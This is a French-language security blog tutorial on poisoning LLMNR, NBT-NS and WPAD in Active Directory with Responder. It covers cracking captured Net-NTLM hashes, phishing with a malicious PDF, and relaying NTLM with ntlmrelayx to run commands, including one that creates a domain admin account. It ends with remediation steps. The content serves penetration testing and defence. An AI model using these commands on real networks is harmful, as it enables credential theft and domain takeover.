Exploiter LLMNR et NBT-NS

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


Lorsqu’il s’agit de résoudre un nom en une IP sur un réseau Active Directory, trois protocoles sont utilisés : DNS, LLMNR  (Link-Local Multicast Name Resolution)  et NBT-NS (NetBios Name Service). Dans cet article nous allons voir comment les exploiter afin de prendre le contrôle d’un domain Active Directory !

I/ LLMNR/NBT-NS qu’est ce que c’est ?

LLMNR et NTB-NS sont deux protocoles utilisés afin de résoudre un nom en une adresse IP sur un réseau Active Directory. De base c’est le protocole DNS qui est utilisé conjointement avec un serveur DNS. Cependant si la résolution DNS échoue, alors ces deux protocoles prendront le relai et tenteront à leurs tours de résoudre la requête.

Chronologiquement c’est d’abord le protocole DNS qui sera utilisé puis LLMNR et enfin NBT-NS.

Alors comment est-ce qu’un attaquant pourrait abuser de ces protocoles ? Eh bien c’est relativement simple, en effet une requête LLMNR ou NBT-NS est envoyée en multicast sur le réseau. Ce qui veut dire que n’importe quel utilisateur présent sur le réseau est en mesure d’y répondre.

Dans ces conditions, un attaquant tentera de répondre à toutes les requêtes LLMNR/NBT-NS émises afin de rediriger un utilisateur vers un faux service (SMB par exemple) et ainsi récupérer le hash Net-NTLM du compte associé. Ensuite l’attaquant tentera soit de casser le hash Net-NTLM pour en extraire le mot de passe en clair ou bien rejouer le hash.

En schéma :

1.png

La question maintenant va être de savoir comment intercepter et répondre aux requêtes LLMNR/NBT-NS. Pour cela nous nous servirons principalement d’un seul outil : Responder !

II/ To begin with

Une bonne pratique avant de lancer Responder en mode offensif, c’est de le lancer en écoute passive afin d’analyser le contenu des communications sur le réseau Active Directory cible. En effet il serait inutile de lancer un tel outil si aucune requête LLMNR/NBT-NS n’est émise.

Pour cela il faudra utiliser l’option -A ainsi que l’option -I suivie de l’interface réseau à utiliser :

sudo responder -A -I 'interface'

Attendez quelques minutes et vous verrez probablement ce genre d’output :

1.png

Comme on peut le voir sur l’impression écran ci-dessus, les protocoles LLMNR et NBT-NS sont utilisés sur mon environnement Active Directory. Donc on va pouvoir passer à la phase offensive et attaquer le domaine !

Pour lancer Responder en mode offensif basique nous n’aurons besoin que de l’option -I :

sudo responder -I 'votre interface'

9

Plusieurs services vont être démarrés dont notamment le service SMB que nous allons utilisé pour la suite de l’article.

II/ Démonstration de l’attaque

Contexte : je suis administrateur du domaine et, depuis mon ordinateur, je tente de me connecter à un share SMB « \\share1 » non existant. Étant donné que ce share n’existe pas, la résolution DNS ne fonctionnera pas donc ce sont les protocoles LLMNR/NBT-NS qui prendront le relai.

Mon ordinateur Windows va donc envoyer des requêtes LLMNR/NBT-NS en multicast et c’est Responder (en écoute sur le PC de l’attaquant) qui va y répondre en indiquant que le share désiré se trouve à l’adresse IP 192.168.0.28 (celle de l’attaquant).

En reprenant le schéma utilisé plus haut, on aura cette topologie :

10.png

Du coup Responder va empoissonner la résolution LLMNR/NBT-NS et me rediriger vers le service SMB présent sur la machine de l’attaquant. Du côté de mon poste client Windows, une mire d’authentification à l’apparence légitime va apparaître me demandant mes identifiants de connexion

2.png

J’entre donc mes identifiants, le challenge NTLM est effectué et du côté de l’attaquant on recevoit le fameux hash Net-NTLM :

3.png

Dont voici le format :

user::domaine:challenge:hash LM:hash Net-NTLM

L’attaquant n’aura plus qu’à tenter de cracker ce hash via des outils comme JohnTheRipper ou encore Hascat :

john --format=netntlmv2 hash.txt --wordlist="votre_wordlist"
hashcat -m 5600 -a 3 hash.txt "votre_wordlist"

5.png

Pour retrouver le mot de passe en clair lié à mon compte d’administrateur du domaine et ainsi usurper mon identité le tout en moins de 5 minutes.

III/ Techniques d’exploitation

L’exemple vu plus haut illustre l’attaque dans sa version la plus basique puisque l’attaquant n’aura rien à faire si ce n’est attendre que des requêtes LLMNR/NBT-NS soient émises.

Il existe d’autres scénarios d’exploitation dont les deux suivants.

  • Exploitation via Social Engineering :

Cette technique repose sur le même principe d’exploitation que celui vu au cours de la démonstration. La seule différence ici c’est qu’on va se servir d’un peu d’ingénierie sociale afin de forcer un utilisateur à se connecter à un share inexistant.

Pour cela on utilisera l’outil BadPDF publié originellement par deepzec mais que j’ai retravaillé et mis à disposition sur mon Github.

Pour créer un PDF malicieux nous n’avons qu’à spécifier deux options :

python3 badpdf.py -i "votre_ip" -o "nom_fichier_output"

6.png

Vous n’avez plus qu’à envoyer ce fichier à quelques centaines de personnes (en vous servant des liste de mails créées par Discovery (par exemple 😊) et attendre qu’une personne l’ouvre.

Si c’est le cas, un pop up va apparaître afin de demander à l’utilisateur l’autorisation de récupérer des informations sur un share distant (celui contrôlé par l’attaquant) :

8.png

En mettant en place un peu d’ingénierie sociale on pourra probablement influencer suffisamment un utilisateur pour que ce dernier tombe dans le panneau, clique sur « Autoriser » et nous envoie son hash Net-NTLM.

  • Exploitation via WPAD hijacking :

WPAD (pour Web Proxy Auto-Discovery) est un protocole utilisé sur un réseau Active Directory afin de distribuer une configuration wpad.dat ou proxy.pac aux navigateurs des utilisateurs.

Ces fichiers, ce ne sont ni plus ni moins qu’un ensemble de règles écrite en JavaScript qui vont indiquer à notre navigateur si pour une URL donnée, il doit passer par un proxy ou pas :

6.png

Sur le screen ci-dessus on peut voir que si l’adresse IP de la machine fait partie de la plage 10.10.5.0/24 alors toutes les requêtes de cette machine doivent passer par le proxy 1.2.3.4 sur le port 8080.

Le souci ici c’est que ce fichier wpad.dat est stocké quelque part sur le réseau Active Directory et notre client Windows ne sait pas où. Pour le trouver notre client Windows va émettre plusieurs requêtes.

La première sera une requête DHCP. En effet il est possible d’enregistrer un bail DHCP spécifique à ce fichier. Si la requête aboutit alors le client Windows saura où télécharger le fichier wpad.dat/proxy.pac et l’attaque ne sera pas exploitable.

Si la requête n’aboutit pas, c’est une requête DNS qui sera émise afin de trouver l’adresse IP du nom « wpad.domain.tld » :

5.png

Si la requête aboutit, alors l’attaque ne sera pas exploitable. Dans le cas contraire, une requête LLMNR sera émise et là deux possibilités :
-Soit la requête aboutit et le fichier wpad.dat/proxy.pac est téléchargé et appliqué.
-Soit la requête n’aboutit pas et dans ces cas là l’utilisation d’un proxy.pac n’est pas possible.

En supposant qu’il n’existe pas de bails DHCP ou d’entrées DNS pour le nom « wpad.domain.tld » on pourra lancer Responder avec les options suivantes :

sudo responder -I wlp2s0 -wFb

Lorsque l’utilisateur lancera son navigateur, une mire d’authentification apparaîtra:

1.png

La seule différence ici c’est que si l’utilisateur entre ses identifiants, nous, en tant qu’attaquant, nous les recevrons en clair :

2.png

Plus besoin de cracker le hash Net-NTLM du coup !

V/ LMNR/NBT-NS poisoning into NTLM relay

Cracker un hash Net-NTLM peut s’avérer long et fastidieux. Suivant la taille et la complexité du mot de passe ça peut prendre plusieurs jours. Heureusement pour nous, il existe un autre type d’attaque sur un réseau Active Directory : l’attaque  « NTLM relay« .

Comme son nom l’indique, l’attaque via NTLM relay va tout simplement nous permettre de relayer l’authentification d’un client légitime afin de gagner, en tant qu’attaquant, l’accès à une ressource tel qu’un serveur ou un ordinateur.

Pour mener à bien cette attaque, nous allons avoir besoin d’un outil supplémentaire : ntlmrelayx.py qui fait partie de la suite Impacket développée par SecureAuth Labs.

La première chose à faire afin d’exploiter cette attaque, c’est de découvrir les machines vulnérables sur le réseau. Pour cela on dispose de plusieurs outils tels que CrackMapExec.

Dans notre cas, la machine vulnérable est le DC. Attention ! J’ai volontairement désactivé les protections permettant ce genre cette attaque. Par défaut, les serveurs Domain Controllers Windows 2012 et 2012R2 ne sont pas vulnérables à l’attaque par relai NTLM.

En effet pour que cette attaque fonctionne il est nécessaire que le trafic ne soit pas signé. Et pour s’en assurer, on pourra se servir de l’outil RunFinger.py disponible dans le répertoire tools/ de Responder :

python RunFinger.py -i "votre_interface"

12.png

Dans notre cas le trafic SMB n’est pas signé donc nous allons pouvoir procéder à l’attaque. Pour la suite, il va falloir modifier le fichier de configuration de Responder afin de désactiver l’utilisation du service SMB et HTTP :

13.png

En effet, l’outil ntlmrelayx.py a besoin de lancer ces services afin de relayer l’authentification. Enfin on lancera Responder :

sudo python Responder.py -I "interface"

Ouvrez un nouveau terminal et exécuter le script ntlmrelayx.py en spécifiant l’option -t (la cible) et -c (la commande à exécuter) :

sudo ntlmrelayx.py -t 192.168.0.34 -c "whoami"

Maintenant côté client Windows, nous n’avons plus qu’à nous connecter sur le share inexistant \\share1 :

14.png

Pour que le relai soit effectué et que notre commande soit exécuté sur la cible :

16.png

L’output nous indique que c’est l’utilisateur Administrateur qui a tenté de se connecter et que le résultat de la commande « whoami » est « autorité nt\system ».

Étant donné que l’on peut exécuter n’importe quel type de commande via l’option -c, nous allons tout simplement nous créer un compte d’administrateur du domaine via cette commande :

net user defte White+Fl@g1 /ADD /DOMAIN ; net group 'Admins du domaine' defte /ADD /DOMAIN

Et ainsi pouvoir se connecter sur le DC et prendre le contrôle du domaine !

IV/ Remédiations

Tout au long de cet article nous avons exploité quatre protocoles : LLMNR, NBT-NS, WPAD et NTLM. Pour ce qui est de l’authentification NTLM, malheureusement, nous ne pourrons rien faire. En effet l’authentification NTLM est victime d’un défaut de conception. En revanche nous pouvons trouver des parades pour éviter son exploitation.

Avant tout, nous allons désactiver l’utilisation des protocoles LLMNR et NBT-NS.

  • LLMNR :

Pour LLMNR il faudra se rendre dans l’outil de gestion des stratégies de groupe dans l’onglet « Configuration ordinateur » > « Stratégies » > « Modèles d’administration » > « Réseau » et activer l’option « Désactiver la résolution de noms multidiffusion » :

17.png

  • NBT-NS :

Pour NBT-NS c’est un peu plus compliqué. En effet il existe de vieilles versions de Windows qui ont besoin de ce protocole pour fonctionner. Deux choix s’offrent à nous. Soit on désactive NBT-NS via GPO pour tous nos postes. Soit on ne désactive NBT-NS qu’au cas par cas.

Pour désactiver NBT-NS globalement, il faudra se rendre dans le service DHCP faire un clic droit sur « Options de serveur », se rendre dans l’onglet « Avancé », sélectionner « Options Microsoft Windows 2000 » cliquer sur « 001 Option Microsoft de désactivation du NetBIOS » et pour finir remplacer la valeur « 0x1 » par « 0x2 » :

3.png

Si vous ne souhaitez désactiver NBT-NS que sur un poste en particulier, il faudra se rendre dans les paramètres de la carte réseau, cliquer sur « Propriétés » puis sur « Protocole Internet version 4 (TCP/IPv4) », « Avancé » et cliquer sur « Désactiver NetBIOS sur TCP/IP » :

4.png

  • WPAD :

Nous avons aussi vu que Responder utilisait le protocole WPAD. Encore une fois si l’exploitation via WPAD est possible c’est parce que la résolution DNS n’est pas possible. Par défaut il n’existe pas d’entrée DNS pour le nom wpad.

Qu’à cela ne tienne, nous allons en créer une ! Pour cela il suffira de se rendre dans l’utilitaire DNS et créer une entrée de type A :

5.png

Vous pouvez très bien faire pointer ce nom vers une adresse IP invalide dans le seul but de bloquer l’attaque même s’il serait plus judicieux de faire pointer cette entrée vers l’adresse IP sur laquelle est hébergé le fichier 😉 !

  • NTLM relay :

Enfin, et pour finir, nous allons activer l’option SMB Signing via l’utilisation de l’outil de gestion des stratégies de groupe :

18.png

En activant les options « Serveur réseau Microsoft : communications signées numériquement (toujours) » et « Serveur réseau Microsoft : communications signées numériquement (lorsque le serveur l’accepte) » nous allons tout simplement empêcher l’exploitation de l’attaque NTLM relay.

Il ne nous restera plus qu’à déployer les nouvelles GPO vers tous les postes de notre parc pour définitivement éradiquer les techniques d’exploitation via LLMNR/NBT-NS.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s